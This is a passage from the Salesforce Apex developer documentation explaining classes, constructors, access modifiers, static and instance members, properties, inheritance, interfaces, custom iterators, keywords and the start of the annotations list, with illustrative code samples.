Example: Passing Non-Primitive Data Type Arguments

This example shows how a List argument is passed by value into another method and can be modified. It also shows that the List
argument can’t be modified to point to another List object. First, the createTemperatureHistory method creates a variable,
fillMe, that is a List of Integers and passes it to a method. The called method fills this list with Integer values representing rounded
temperature values. When the method returns, an assert verifies that the contents of the original List variable has changed and now
contains five values. Next, the example creates a second List variable, createMe, and passes it to another method. The called method
assigns the passed-in argument to a newly created List that contains new Integer values. When the method returns, the original
createMe variable doesn’t point to the new List but still points to the original List, which is empty. An assert verifies that createMe
contains no values.
public class PassNonPrimitiveTypeExample {
public static void createTemperatureHistory() {

List<Integer> fillMe = new List<Integer>();
reference(fillMe);
// The list is modified and contains five items
// as expected.
System.assertEquals(fillMe.size(),5);
List<Integer> createMe = new List<Integer>();

referenceNew(createMe);
// The list is not modified because it still points
// to the original list, not the new list
// that the method created.
System.assertEquals(createMe.size(),0);
}
public static void reference(List<Integer> m) {

// Add rounded temperatures for the last five days.
m.add(70);
m.add(68);
m.add(75);
m.add(80);
m.add(82);
}
public static void referenceNew(List<Integer> m) {

// Assign argument to a new List of
// five temperature values.
m = new List<Integer>{55, 59, 62, 60, 63};
}
}
58
Using Constructors
A constructor is code that is invoked when an object is created from the class blueprint. You do not need to write a constructor for every
class. If a class does not have a user-defined constructor, a default, no-argument, public constructor is used.
The syntax for a constructor is similar to a method, but it differs from a method definition in that it never has an explicit return type and
it is not inherited by the object created from it.
After you write the constructor for a class, you must use the new keyword in order to instantiate an object from that class, using that
constructor. For example, using the following class:
public class TestObject {
// The no argument constructor

public TestObject() {
// more code here
}
}
A new object of this type can be instantiated with the following code:
TestObject myTest = new TestObject();
If you write a constructor that takes arguments, you can then use that constructor to create an object using those arguments.
If you create a constructor that takes arguments, and you still want to use a no-argument constructor, you must create your own
no-argument constructor in your code. Once you create a constructor for a class, you no longer have access to the default, no-argument
public constructor.
In Apex, a constructor can be overloaded, that is, there can be more than one constructor for a class, each having different parameters.
The following example illustrates a class with two constructors: one with no arguments and one that takes a simple Integer argument.
It also illustrates how one constructor calls another constructor using the this(...) syntax, also know as constructor chaining.
public class TestObject2 {
private static final Integer DEFAULT_SIZE = 10;
Integer size;
//Constructor with no arguments

public TestObject2() {
this(DEFAULT_SIZE); // Using this(...) calls the one argument constructor
}
// Constructor with one argument

public TestObject2(Integer ObjectSize) {
size = ObjectSize;
}
}
New objects of this type can be instantiated with the following code:
TestObject2 myObject1 = new TestObject2(42);
TestObject2 myObject2 = new TestObject2();
59
Every constructor that you create for a class must have a different argument list. In the following example, all of the constructors are
possible:
public class Leads {
// First a no-argument constructor

public Leads () {}
// A constructor with one argument

public Leads (Boolean call) {}
// A constructor with two arguments

public Leads (String email, Boolean call) {}
// Though this constructor has the same arguments as the

// one above, they are in a different order, so this is legal
public Leads (Boolean call, String email) {}
}
When you define a new class, you are defining a new data type. You can use class name in any place you can use other data type names,
such as String, Boolean, or Account. If you define a variable whose type is a class, any object you assign to it must be an instance of that
class or subclass.
Access Modifiers
Apex allows you to use the private, protected, public, and global access modifiers when defining methods and variables.
While triggers and anonymous blocks can also use these access modifiers, they are not as useful in smaller portions of Apex. For example,
declaring a method as global in an anonymous block does not enable you to call it from outside of that code.
For more information on class access modifiers, see Apex Class Definition on page 55.
Note: Interface methods have no access modifiers. They are always global. For more information, see Interfaces on page 72.
By default, a method or variable is visible only to the Apex code within the defining class. You must explicitly specify a method or variable
as public in order for it to be available to other classes in the same application namespace (see Namespace Prefix). You can change the
level of visibility by using the following access modifiers:
private
This is the default, and means that the method or variable is accessible only within the Apex class in which it is defined. If you do
not specify an access modifier, the method or variable is private.
protected
This means that the method or variable is visible to any inner classes in the defining Apex class, and to the classes that extend the
defining Apex class. You can only use this access modifier for instance methods and member variables. Note that it is strictly more
permissive than the default (private) setting, just like Java.
public
This means the method or variable can be used by any Apex in this application or namespace.
Note: In Apex, the public access modifier is not the same as it is in Java. This was done to discourage joining applications,
to keep the code for each application separate. In Apex, if you want to make something public like it is in Java, you need to
use the global access modifier.
global
This means the method or variable can be used by any Apex code that has access to the class, not just the Apex code in the same
application. This access modifier should be used for any method that needs to be referenced outside of the application, either in
60
the SOAP API or by other Apex code. If you declare a method or variable as global, you must also declare the class that contains
it as global.
Note: We recommend using the global access modifier rarely, if at all. Cross-application dependencies are difficult to
maintain.
To use the private, protected, public, or global access modifiers, use the following syntax:
[(none)|private|protected|public|global] declaration
For example:
// private variable s1
private string s1 = '1';
// public method getsz()

public string getsz() {
...
}
Static and Instance Methods, Variables, and Initialization Code

In Apex, you can have static methods, variables, and initialization code. However, Apex classes can’t be static. You can also have instance
methods, member variables, and initialization code, which have no modifier, and local variables.
Characteristics
Static methods, variables, and initialization code have these characteristics.
• They’re associated with a class.
• They’re allowed only in outer classes.
• They’re initialized only when a class is loaded.
• They aren’t transmitted as part of the view state for a Visualforce page.
Instance methods, member variables, and initialization code have these characteristics.
• They’re associated with a particular object.
• They have no definition modifier.
• They’re created with every object instantiated from the class in which they’re declared.
Local variables have these characteristics.
• They’re associated with the block of code in which they’re declared.
• They must be initialized before they’re used.
The following example shows a local variable whose scope is the duration of the if code block.
Boolean myCondition = true;
if (myCondition) {
integer localVariable = 10;
}
61
Using Static Methods and Variables

You can use static methods and variables only with outer classes. Inner classes have no static methods or variables. A static method or
variable doesn’t require an instance of the class in order to run.
Before an object of a class is created, all static member variables in a class are initialized, and all static initialization code blocks are
executed. These items are handled in the order in which they appear in the class.
A static method is used as a utility method, and it never depends on the value of an instance member variable. Because a static method
is only associated with a class, it can’t access the instance member variable values of its class.
A static variable is static only within the scope of the Apex transaction. It’s not static across the server or the entire organization. The
value of a static variable persists within the context of a single transaction and is reset across transaction boundaries. For example, if an
Apex DML request causes a trigger to fire multiple times, the static variables persist across these trigger invocations.
To store information that is shared across instances of a class, use a static variable. All instances of the same class share a single copy of
the static variable. For example, all triggers that a single transaction spawns can communicate with each other by viewing and updating
static variables in a related class. A recursive trigger can use the value of a class variable to determine when to exit the recursion.
Suppose that you had the following class.
public class P {
public static boolean firstRun = true;
}
A trigger that uses this class could then selectively fail the first run of the trigger.
trigger T1 on Account (before delete, after delete, after undelete) {
if(Trigger.isBefore){
if(Trigger.isDelete){
if(p.firstRun){
Trigger.old[0].addError('Before Account Delete Error');
p.firstRun=false;
}
}
}
}
A static variable defined in a trigger doesn’t retain its value between different trigger contexts within the same transaction, such as
between before insert and after insert invocations. Instead, define the static variables in a class so that the trigger can access these class
member variables and check their static values.
A class static variable can’t be accessed through an instance of that class. If class MyClass has a static variable myStaticVariable,
and myClassInstance is an instance of MyClass, myClassInstance.myStaticVariable is not a legal expression.
The same is true for instance methods. If myStaticMethod() is a static method, myClassInstance.myStaticMethod()
is not legal. Instead, refer to those static identifiers using the class: MyClass.myStaticVariable and
MyClass.myStaticMethod().
Local variable names are evaluated before class names. If a local variable has the same name as a class, the local variable hides methods
and variables on the class of the same name. For example, this method works if you comment out the String line. But if the String
line is included the method doesn’t compile, because Salesforce reports that the method doesn’t exist or has an incorrect signature.
public static void method() {
String Database = '';
Database.insert(new Account());
}
62
An inner class behaves like a static Java inner class, but doesn’t require the static keyword. An inner class can have instance member
variables like an outer class, but there is no implicit pointer to an instance of the outer class (using the this keyword).
Note: In API version 20.0 and earlier, if a Bulk API request causes a trigger to fire, each chunk of 200 records for the trigger to
process is split into chunks of 100 records. In Salesforce API version 21.0 and later, no further splits of API chunks occur. If a Bulk
API request causes a trigger to fire multiple times for chunks of 200 records, governor limits are reset between these trigger
invocations for the same HTTP request.
Using Instance Methods and Variables

Instance methods and member variables are used by an instance of a class, that is, by an object. An instance member variable is declared
inside a class, but not within a method. Instance methods usually use instance member variables to affect the behavior of the method.
Suppose that you want to have a class that collects two-dimensional points and plots them on a graph. The following skeleton class
uses member variables to hold the list of points and an inner class to manage the two-dimensional list of points.
public class Plotter {
// This inner class manages the points

class Point {
Double x;
Double y;
Point(Double x, Double y) {
this.x = x;
this.y = y;
}
Double getXCoordinate() {
return x;
}
Double getYCoordinate() {
return y;
}
}
List<Point> points = new List<Point>();
public void plot(Double x, Double y) {

points.add(new Point(x, y));
}
// The following method takes the list of points and does something with them
public void render() {
}
}
Using Initialization Code

Instance initialization code is a block of code in the following form that is defined in a class.
{
//code body
63
The instance initialization code in a class is executed each time an object is instantiated from that class. These code blocks run before
the constructor.
If you don’t want to write your own constructor for a class, you can use an instance initialization code block to initialize instance variables.
In simple situations, use an ordinary initializer. Reserve initialization code for complex situations, such as initializing a static map. A static
initialization block runs only once, regardless of how many times you access the class that contains it.
Static initialization code is a block of code preceded with the keyword static.
static {
//code body
Similar to other static code, a static initialization code block is only initialized once on the first use of the class.
A class can have any number of either static or instance initialization code blocks. They can appear anywhere in the code body. The code
blocks are executed in the order in which they appear in the file, just as they are in Java.
You can use static initialization code to initialize static final variables and to declare information that is static, such as a map of values.
For example:
public class MyClass {
class RGB {
Integer red;
Integer green;
Integer blue;
RGB(Integer red, Integer green, Integer blue) {

this.red = red;
this.green = green;
this.blue = blue;
}
}
static Map<String, RGB> colorMap = new Map<String, RGB>();
static {
colorMap.put('red', new RGB(255, 0, 0));
colorMap.put('cyan', new RGB(0, 255, 255));
colorMap.put('magenta', new RGB(255, 0, 255));
}
}
Apex Properties
An Apex property is similar to a variable, however, you can do additional things in your code to a property value before it is accessed or
returned. Properties can be used in many different ways: they can validate data before a change is made; they can prompt an action
when data is changed, such as altering the value of other member variables; or they can expose data that is retrieved from some other
source, such as another class.
64
Property definitions include one or two code blocks, representing a get accessor and a set accessor:
• The code in a get accessor executes when the property is read.
• The code in a set accessor executes when the property is assigned a new value.
A property with only a get accessor is considered read-only. A property with only a set accessor is considered write only. A property with
both accessors is read-write.
To declare a property, use the following syntax in the body of a class:
Public class BasicClass {
// Property declaration
access_modifier return_type property_name {
get {
//Get accessor code block
}
set {
//Set accessor code block
}
}
}
Where:
• access_modifier is the access modifier for the property. The access modifiers that can be applied to properties include:
public, private, global, and protected. In addition, these definition modifiers can be applied: static and
transient. For more information on access modifiers, see Access Modifiers on page 60.
• return_type is the type of the property, such as Integer, Double, sObject, and so on. For more information, see Data Types on
page 26.
• property_name is the name of the property
For example, the following class defines a property named prop. The property is public. The property returns an integer data type.
public class BasicProperty {
public integer prop {
get { return prop; }
set { prop = value; }
}
}
The following code segment calls the class above, exercising the get and set accessors:
BasicProperty bp = new BasicProperty();
bp.prop = 5; // Calls set accessor
System.assert(bp.prop == 5); // Calls get accessor
Note the following:

• The body of the get accessor is similar to that of a method. It must return a value of the property type. Executing the get accessor is
the same as reading the value of the variable.
• The get accessor must end in a return statement.
• We recommend that your get accessor should not change the state of the object that it is defined on.
• The set accessor is similar to a method whose return type is void.
• When you assign a value to the property, the set accessor is invoked with an argument that provides the new value.
65
• When the set accessor is invoked, the system passes an implicit argument to the setter called value of the same data type as the
property.
• Properties cannot be defined on interface.
• Apex properties are based on their counterparts in C#, with the following differences:
– Properties provide storage for values directly. You do not need to create supporting members for storing values.
– It is possible to create automatic properties in Apex. For more information, see Using Automatic Properties on page 66.
Using Automatic Properties

Properties do not require additional code in their get or set accessor code blocks. Instead, you can leave get and set accessor code blocks
empty to define an automatic property. Automatic properties allow you to write more compact code that is easier to debug and maintain.
They can be declared as read-only, read-write, or write-only. The following example creates three automatic properties:
public class AutomaticProperty {
public integer MyReadOnlyProp { get; }
public double MyReadWriteProp { get; set; }
public string MyWriteOnlyProp { set; }
}
The following code segment exercises these properties:

AutomaticProperty ap = new AutomaticProperty();
ap.MyReadOnlyProp = 5; // This produces a compile error: not writable
ap.MyReadWriteProp = 5; // No error
System.assert(MyWriteOnlyProp == 5); // This produces a compile error: not readable
Using Static Properties

When a property is declared as static, the property's accessor methods execute in a static context. This means that the accessors do
not have access to non-static member variables defined in the class. The following example creates a class with both static and instance
properties:
public class StaticProperty {
private static integer StaticMember;
private integer NonStaticMember;
// The following produces a system error

// public static integer MyBadStaticProp { return NonStaticMember; }
public static integer MyGoodStaticProp {

get {return StaticMember;}
set { StaticMember = value; }
}
public integer MyGoodNonStaticProp {
get {return NonStaticMember;}
set { NonStaticMember = value; }
}
}
The following code segment calls the static and instance properties:
StaticProperty sp = new StaticProperty();
// The following produces a system error: a static variable cannot be
66
// accessed through an object instance

// sp.MyGoodStaticProp = 5;
// The following does not produce an error

StaticProperty.MyGoodStaticProp = 5;
Using Access Modifiers on Property Accessors

Property accessors can be defined with their own access modifiers. If an accessor includes its own access modifier, this modifier overrides
the access modifier of the property. The access modifier of an individual accessor must be more restrictive than the access modifier on
the property itself. For example, if the property has been defined as public, the individual accessor cannot be defined as global.
The following class definition shows additional examples:
global virtual class PropertyVisibility {
// X is private for read and public for write
public integer X { private get; set; }
// Y can be globally read but only written within a class
global integer Y { get; public set; }
// Z can be read within the class but only subclasses can set it
public integer Z { get; protected set; }
}
Extending a Class
You can extend a class to provide more specialized behavior.
A class that extends another class inherits all the methods and properties of the extended class. In addition, the extending class can
override the existing virtual methods by using the override keyword in the method definition. Overriding a virtual method allows you
to provide a different implementation for an existing method. This means that the behavior of a particular method is different based on
the object you’re calling it on. This is referred to as polymorphism.
A class extends another class using the extends keyword in the class definition. A class can only extend one other class, but it can
implement more than one interface.
This example shows how the YellowMarker class extends the Marker class. To run the inheritance examples in this section, first
create the Marker class.
public virtual class Marker {
public virtual void write() {
System.debug('Writing some text.');
}
public virtual Double discount() {

return .05;
}
}
Then create the YellowMarker class, which extends the Marker class.
// Extension for the Marker class
public class YellowMarker extends Marker {
public override void write() {
System.debug('Writing some text using the yellow marker.');
}
}
67
This code segment shows polymorphism. The example declares two objects of the same type (Marker). Even though both objects
are markers, the second object is assigned to an instance of the YellowMarker class. Hence, calling the write method on it yields
a different result than calling this method on the first object, because this method has been overridden. However, you can call the
discount method on the second object even though this method isn’t part of the YellowMarker class definition. But it is part
of the extended class, and hence, is available to the extending class, YellowMarker. Run this snippet in the Execute Anonymous
window of the Developer Console.
Marker obj1, obj2;
obj1 = new Marker();
// This outputs 'Writing some text.'
obj1.write();
obj2 = new YellowMarker();

// This outputs 'Writing some text using the yellow marker.'
obj2.write();
// We get the discount method for free
// and can call it from the YellowMarker instance.
Double d = obj2.discount();
The extending class can have more method definitions that aren’t common with the original extended class. For example, the
RedMarker class below extends the Marker class and has one extra method, computePrice, that isn’t available for the
Marker class. To call the extra methods, the object type must be the extending class.
Before running the next snippet, create the RedMarker class, which requires the Marker class in your org.
// Extension for the Marker class
public class RedMarker extends Marker {
public override void write() {
System.debug('Writing some text in red.');
}
// Method only in this class

public Double computePrice() {
return 1.5;
}
}
This snippet shows how to call the additional method on the RedMarker class. Run this snippet in the Execute Anonymous window
of the Developer Console.
RedMarker obj = new RedMarker();
// Call method specific to RedMarker only
Double price = obj.computePrice();
Extensions also apply to interfaces—an interface can extend another interface. As with classes, when an interface extends another
interface, all the methods and properties of the extended interface are available to the extending interface.
Extended Class Example

The following is an extended example of a class, showing all the features of Apex classes. The keywords and concepts introduced in the
example are explained in more detail throughout this chapter.
// Top-level (outer) class must be public or global (usually public unless they contain
// a Web Service, then they must be global)
public class OuterClass {
68
// Static final variable (constant) – outer class level only

private static final Integer MY_INT;
// Non-final static variable - use this to communicate state across triggers

// within a single request)
public static String sharedState;
// Static method - outer class level only

public static Integer getInt() { return MY_INT; }
// Static initialization (can be included where the variable is defined)

static {
MY_INT = 2;
}
// Member variable for outer class

private final String m;
// Instance initialization block - can be done where the variable is declared,

// or in a constructor
{
m = 'a';
}
// Because no constructor is explicitly defined in this outer class, an implicit,

// no-argument, public constructor exists
// Inner interface
public virtual interface MyInterface {
// No access modifier is necessary for interface methods - these are always

// public or global depending on the interface visibility
void myMethod();
}
// Interface extension
interface MySecondInterface extends MyInterface {
Integer method2(Integer i);
}
// Inner class - because it is virtual it can be extended.

// This class implements an interface that, in turn, extends another interface.
// Consequently the class must implement all methods.
public virtual class InnerClass implements MySecondInterface {
// Inner member variables

private final String s;
private final String s2;
// Inner instance initialization block (this code could be located above)

{
this.s = 'x';
}
69
// Inline initialization (happens after the block above executes)

private final Integer i = s.length();
// Explicit no argument constructor

InnerClass() {
// This invokes another constructor that is defined later
this('none');
}
// Constructor that assigns a final variable value

public InnerClass(String s2) {
this.s2 = s2;
}
// Instance method that implements a method from MyInterface.

// Because it is declared virtual it can be overridden by a subclass.
public virtual void myMethod() { /* does nothing */ }
// Implementation of the second interface method above.

// This method references member variables (with and without the "this" prefix)
public Integer method2(Integer i) { return this.i + s.length(); }
}
// Abstract class (that subclasses the class above). No constructor is needed since
// parent class has a no-argument constructor
public abstract class AbstractChildClass extends InnerClass {
// Override the parent class method with this signature.

// Must use the override keyword
public override void myMethod() { /* do something else */ }
// Same name as parent class method, but different signature.

// This is a different method (displaying polymorphism) so it does not need
// to use the override keyword
protected void method2() {}
// Abstract method - subclasses of this class must implement this method

abstract Integer abstractMethod();
}
// Complete the abstract class by implementing its abstract method

public class ConcreteChildClass extends AbstractChildClass {
// Here we expand the visibility of the parent method - note that visibility
// cannot be restricted by a sub-class
public override Integer abstractMethod() { return 5; }
}
// A second sub-class of the original InnerClass

public class AnotherChildClass extends InnerClass {
AnotherChildClass(String s) {
// Explicitly invoke a different super constructor than one with no arguments
super(s);
}
70
// Exception inner class

public virtual class MyException extends Exception {
// Exception class member variable
public Double d;
// Exception class constructor

MyException(Double d) {
this.d = d;
}
// Exception class method, marked as protected

protected void doIt() {}
}
// Exception classes can be abstract and implement interfaces

public abstract class MySecondException extends Exception implements MyInterface {
}
}
This code example illustrates:

• A top-level class definition (also called an outer class)
• Static variables and static methods in the top-level class, as well as static initialization code blocks
• Member variables and methods for the top-level class
• Classes with no user-defined constructor — these have an implicit, no-argument constructor
• An interface definition in the top-level class
• An interface that extends another interface
• Inner class definitions (one level deep) within a top-level class
• A class that implements an interface (and, therefore, its associated sub-interface) by implementing public versions of the method
signatures
• An inner class constructor definition and invocation
• An inner class member variable and a reference to it using the this keyword (with no arguments)
• An inner class constructor that uses the this keyword (with arguments) to invoke a different constructor
• Initialization code outside of constructors — both where variables are defined, as well as with anonymous blocks in curly braces
({}). Note that these execute with every construction in the order they appear in the file, as with Java.
• Class extension and an abstract class
• Methods that override base class methods (which must be declared virtual)
• The override keyword for methods that override subclass methods
• Abstract methods and their implementation by concrete sub-classes
• The protected access modifier
• Exceptions as first class objects with members, methods, and constructors
This example shows how the class above can be called by other Apex code:
// Construct an instance of an inner concrete class, with a user-defined constructor
OuterClass.InnerClass ic = new OuterClass.InnerClass('x');
71
// Call user-defined methods in the class

System.assertEquals(2, ic.method2(1));
// Define a variable with an interface data type, and assign it a value that is of
// a type that implements that interface
OuterClass.MyInterface mi = ic;
// Use instanceof and casting as usual

OuterClass.InnerClass ic2 = mi instanceof OuterClass.InnerClass ?
(OuterClass.InnerClass)mi : null;
System.assert(ic2 != null);
// Construct the outer type

OuterClass o = new OuterClass();
System.assertEquals(2, OuterClass.getInt());
// Construct instances of abstract class children

System.assertEquals(5, new OuterClass.ConcreteChildClass().abstractMethod());
// Illegal - cannot construct an abstract class

// new OuterClass.AbstractChildClass();
// Illegal – cannot access a static method through an instance

// o.getInt();
// Illegal - cannot call protected method externally

// new OuterClass.ConcreteChildClass().method2();
This code example illustrates:

• Construction of the outer class
• Construction of an inner class and the declaration of an inner interface type
• A variable declared as an interface type can be assigned an instance of a class that implements that interface
• Casting an interface variable to be a class type that implements that interface (after verifying this using the instanceof operator)
Interfaces
An interface is like a class in which none of the methods have been implemented—the method signatures are there, but the body of
each method is empty. To use an interface, another class must implement it by providing a body for all of the methods contained in the
interface.
Interfaces can provide a layer of abstraction to your code. They separate the specific implementation of a method from the declaration
for that method. This way you can have different implementations of a method based on your specific application.
Defining an interface is similar to defining a new class. For example, a company might have two types of purchase orders, ones that
come from customers, and others that come from their employees. Both are a type of purchase order. Suppose you needed a method
to provide a discount. The amount of the discount can depend on the type of purchase order.
You can model the general concept of a purchase order as an interface and have specific implementations for customers and employees.
In the following example the focus is only on the discount aspect of a purchase order.
72
Here is the definition of the PurchaseOrder interface.

// An interface that defines what a purchase order looks like in general
public interface PurchaseOrder {
// All other functionality excluded
Double discount();
}
This class implements the PurchaseOrder interface for customer purchase orders.
// One implementation of the interface for customers
public class CustomerPurchaseOrder implements PurchaseOrder {
public Double discount() {
return .05; // Flat 5% discount
}
}
This class implements the PurchaseOrder interface for employee purchase orders.
// Another implementation of the interface for employees
public class EmployeePurchaseOrder implements PurchaseOrder {
public Double discount() {
return .10; // It’s worth it being an employee! 10% discount
}
}
Note the following about the above example:

• The interface PurchaseOrder is defined as a general prototype. Methods defined within an interface have no access modifiers
and contain just their signature.
• The CustomerPurchaseOrder class implements this interface; therefore, it must provide a definition for the discount
method. Any class that implements an interface must define all the methods contained in the interface.
When you define a new interface, you are defining a new data type. You can use an interface name in any place you can use another
data type name. If you define a variable whose type is an interface, any object you assign to it must be an instance of a class that
implements the interface, or a sub-interface data type.
See also Classes and Casting on page 95.
Note: You cannot add a method to a global interface after the class has been uploaded in a Managed - Released package version.
IN THIS SECTION:
1. Custom Iterators
Custom Iterators
An iterator traverses through every item in a collection. For example, in a while loop in Apex, you define a condition for exiting the
loop, and you must provide some means of traversing the collection, that is, an iterator. In the following example, count is incremented
by 1 every time the loop is executed (count++) :
while (count < 11) {
count++;
}
73
Using the Iterator interface you can create a custom set of instructions for traversing a List through a loop. This is useful for data
that exists in sources outside of Salesforce that you would normally define the scope of using a SELECT statement. Iterators can also
be used if you have multiple SELECT statements.
Using Custom Iterators

To use custom iterators, you must create an Apex class that implements the Iterator interface.
The Iterator interface has the following instance methods:
Name Arguments Returns Description

hasNext Boolean Returns true if there is another item in the collection being
traversed, false otherwise.
next Any type Returns the next item in the collection.
All methods in the Iterator interface must be declared as global or public.

You can only use a custom iterator in a while loop. For example:
IterableString x = new IterableString('This is a really cool test.');
while(x.hasNext()){
system.debug(x.next());
}
Iterators are not currently supported in for loops.
Using Custom Iterators with Iterable

If you do not want to use a custom iterator with a list, but instead want to create your own data structure, you can use the Iterable
interface to generate the data structure.
The Iterable interface has the following method:

iterator Iterator class Returns a reference to the iterator for this interface.
The iterator method must be declared as global or public. It creates a reference to the iterator that you can then use to
traverse the data structure.
In the following example a custom iterator iterates through a collection:
global class CustomIterable
implements Iterator<Account>{
List<Account> accs {get; set;}

Integer i {get; set;}
public CustomIterable(){
accs =
[SELECT Id, Name,
74
NumberOfEmployees
FROM Account
WHERE Name = 'false'];
i = 0;
}
global boolean hasNext(){

if(i >= accs.size()) {
return false;
} else {
return true;
}
}
global Account next(){

// 8 is an arbitrary
// constant in this example
// that represents the
// maximum size of the list.
if(i == 8){return null;}
i++;
return accs[i-1];
}
}
The following calls the above code:

global class foo implements iterable<Account>{
global Iterator<Account> Iterator(){
return new CustomIterable();
}
}
The following is a batch job that uses an iterator:

global class batchClass implements Database.batchable<Account>{
global Iterable<Account> start(Database.batchableContext info){
return new foo();
}
global void execute(Database.batchableContext info, List<Account> scope){
List<Account> accsToUpdate = new List<Account>();
for(Account a : scope){
a.Name = 'true';
a.NumberOfEmployees = 69;
accsToUpdate.add(a);
}
update accsToUpdate;
}
global void finish(Database.batchableContext info){
}
}
Keywords
Apex provides the keywords final, instanceof, super, this, transient, with sharing and without sharing.
75
IN THIS SECTION:
1. Using the final Keyword
2. Using the instanceof Keyword
3. Using the super Keyword
4. Using the this Keyword
5. Using the transient Keyword
6. Using the with sharing or without sharing Keywords
Use the with sharing or without sharing keywords on a class to specify whether or not to enforce sharing rules.
Using the final Keyword

You can use the final keyword to modify variables.
• Final variables can only be assigned a value once, either when you declare a variable or inside a constructor. You must assign a value
to it in one of these two places.
• Static final variables can be changed in static initialization code or where defined.
• Member final variables can be changed in initialization code blocks, constructors, or with other variable declarations.
• To define a constant, mark a variable as both static and final.
• Non-final static variables are used to communicate state at the class level (such as state between triggers). However, they are not
shared across requests.
• Methods and classes are final by default. You cannot use the final keyword in the declaration of a class or method. This means
they cannot be overridden. Use the virtual keyword if you need to override a method or class.
Using the instanceof Keyword

If you need to verify at run time whether an object is actually an instance of a particular class, use the instanceof keyword. The
instanceof keyword can only be used to verify if the target type in the expression on the right of the keyword is a viable alternative
for the declared type of the expression on the left.
You could add the following check to the Report class in the classes and casting example before you cast the item back into a
CustomReport object.
If (Reports.get(0) instanceof CustomReport) {

// Can safely cast it back to a custom report object
CustomReport c = (CustomReport) Reports.get(0);
} Else {
// Do something with the non-custom-report.
}
Note: In Apex saved with API version 32.0 and later, instanceof returns false if the left operand is a null object. For
example, the following sample returns false.
Object o = null;
Boolean result = o instanceof Account;
System.assertEquals(false, result);
In API version 31.0 and earlier, instanceof returns true in this case.
76
Using the super Keyword

The super keyword can be used by classes that are extended from virtual or abstract classes. By using super, you can override
constructors and methods from the parent class.
For example, if you have the following virtual class:
public virtual class SuperClass {
public String mySalutation;
public String myFirstName;
public String myLastName;
public SuperClass() {
mySalutation = 'Mr.';
myFirstName = 'Carl';
myLastName = 'Vonderburg';
}
public SuperClass(String salutation, String firstName, String lastName) {
mySalutation = salutation;
myFirstName = firstName;
myLastName = lastName;
}
public virtual void printName() {
System.debug('My name is ' + mySalutation + myLastName);

}
public virtual String getFirstName() {

return myFirstName;
}
}
You can create the following class that extends Superclass and overrides its printName method:
public class Subclass extends Superclass {
public override void printName() {
super.printName();
System.debug('But you can call me ' + super.getFirstName());
}
}
The expected output when calling Subclass.printName is My name is Mr. Vonderburg. But you can call
me Carl.
You can also use super to call constructors. Add the following constructor to SubClass:
public Subclass() {
super('Madam', 'Brenda', 'Clapentrap');
}
Now, the expected output of Subclass.printName is My name is Madam Clapentrap. But you can call
me Brenda.
77
Best Practices for Using the super Keyword

• Only classes that are extending from virtual or abstract classes can use super.
• You can only use super in methods that are designated with the override keyword.
Using the this Keyword

There are two different ways of using the this keyword.
You can use the this keyword in dot notation, without parenthesis, to represent the current instance of the class in which it appears.
Use this form of the this keyword to access instance variables and methods. For example:
public class myTestThis {
string s;
{
this.s = 'TestString';
}
}
In the above example, the class myTestThis declares an instance variable s. The initialization code populates the variable using the
this keyword.
Or you can use the this keyword to do constructor chaining, that is, in one constructor, call another constructor. In this format, use
the this keyword with parentheses. For example:
public class testThis {
// First constructor for the class. It requires a string parameter.

public testThis(string s2) {
}
// Second constructor for the class. It does not require a parameter.

// This constructor calls the first constructor using the this keyword.
public testThis() {
this('None');
}
}
When you use the this keyword in a constructor to do constructor chaining, it must be the first statement in the constructor.
Using the transient Keyword

Use the transient keyword to declare instance variables that can't be saved, and shouldn't be transmitted as part of the view state
for a Visualforce page. For example:
Transient Integer currentTotal;
You can also use the transient keyword in Apex classes that are serializable, namely in controllers, controller extensions, or classes
that implement the Batchable or Schedulable interface. In addition, you can use transient in classes that define the types
of fields declared in the serializable classes.
Declaring variables as transient reduces view state size. A common use case for the transient keyword is a field on a Visualforce
page that is needed only for the duration of a page request, but should not be part of the page's view state and would use too many
system resources to be recomputed many times during a request.
78
Some Apex objects are automatically considered transient, that is, their value does not get saved as part of the page's view state. These
objects include the following:
• PageReferences
• XmlStream classes
• Collections automatically marked as transient only if the type of object that they hold is automatically marked as transient, such as
a collection of Savepoints
• Most of the objects generated by system methods, such as Schema.getGlobalDescribe.
• JSONParser class instances.
Static variables also don't get transmitted through the view state.
The following example contains both a Visualforce page and a custom controller. Clicking the refresh button on the page causes the
transient date to be updated because it is being recreated each time the page is refreshed. The non-transient date continues to have
its original value, which has been deserialized from the view state, so it remains the same.
<apex:page controller="ExampleController">
T1: {!t1} <br/>
T2: {!t2} <br/>
<apex:form>
<apex:commandLink value="refresh"/>
</apex:form>
</apex:page>
public class ExampleController {
DateTime t1;
transient DateTime t2;
public String getT1() {

if (t1 == null) t1 = System.now();
return '' + t1;
}
public String getT2() {

if (t2 == null) t2 = System.now();
return '' + t2;
}
}
SEE ALSO:
JSONParser Class
Using the with sharing or without sharing Keywords

Use the with sharing or without sharing keywords on a class to specify whether or not to enforce sharing rules.
The with sharing keyword allows you to specify that the sharing rules for the current user be taken into account for a class. You
have to explicitly set this keyword for the class because Apex code runs in system context. In system context, Apex code has access to
all objects and fields— object permissions, field-level security, sharing rules aren’t applied for the current user. This is to ensure that
code won’t fail to run because of hidden fields or objects for a user. The only exceptions to this rule are Apex code that is executed with
the executeAnonymous call and Chatter in Apex. executeAnonymous always executes using the full permissions of the
current user. For more information on executeAnonymous, see Anonymous Blocks on page 209.
79
Use the with sharing keywords when declaring a class to enforce the sharing rules that apply to the current user. For example:
public with sharing class sharingClass {
// Code here
Use the without sharing keywords when declaring a class to ensure that the sharing rules for the current user are not enforced.
For example, you may want to explicitly turn off sharing rule enforcement when a class acquires sharing rules when it is called from
another class that is declared using with sharing.
public without sharing class noSharing {
// Code here
Some things to note about sharing keywords:

• The sharing setting of the class where the method is defined is applied, not of the class where the method is called. For example, if
a method is defined in a class declared with with sharing is called by a class declared with without sharing, the method
will execute with sharing rules enforced.
• If a class isn’t declared as either with or without sharing, the current sharing rules remain in effect. This means that the class doesn’t
enforce sharing rules except if it acquires sharing rules from another class. For example, if the class is called by another class that has
sharing enforced, then sharing is enforced for the called class.
• Both inner classes and outer classes can be declared as with sharing. The sharing setting applies to all code contained in the
class, including initialization code, constructors, and methods.
• Inner classes do not inherit the sharing setting from their container class.
• Classes inherit this setting from a parent class when one class extends or implements another.
Annotations
An Apex annotation modifies the way that a method or class is used, similar to annotations in Java. Annotations are defined with an
initial @ symbol, followed by the appropriate keyword.
To add an annotation to a method, specify it immediately before the method or class definition. For example:
global class MyClass {

@future
Public static void myMethod(String a)
{
//long-running Apex code
}
}
Apex supports the following annotations.

• @AuraEnabled
• @Deprecated
• @Future
• @InvocableMethod
80
• @InvocableVariable
• @IsTest
• @ReadOnly
• @RemoteAction
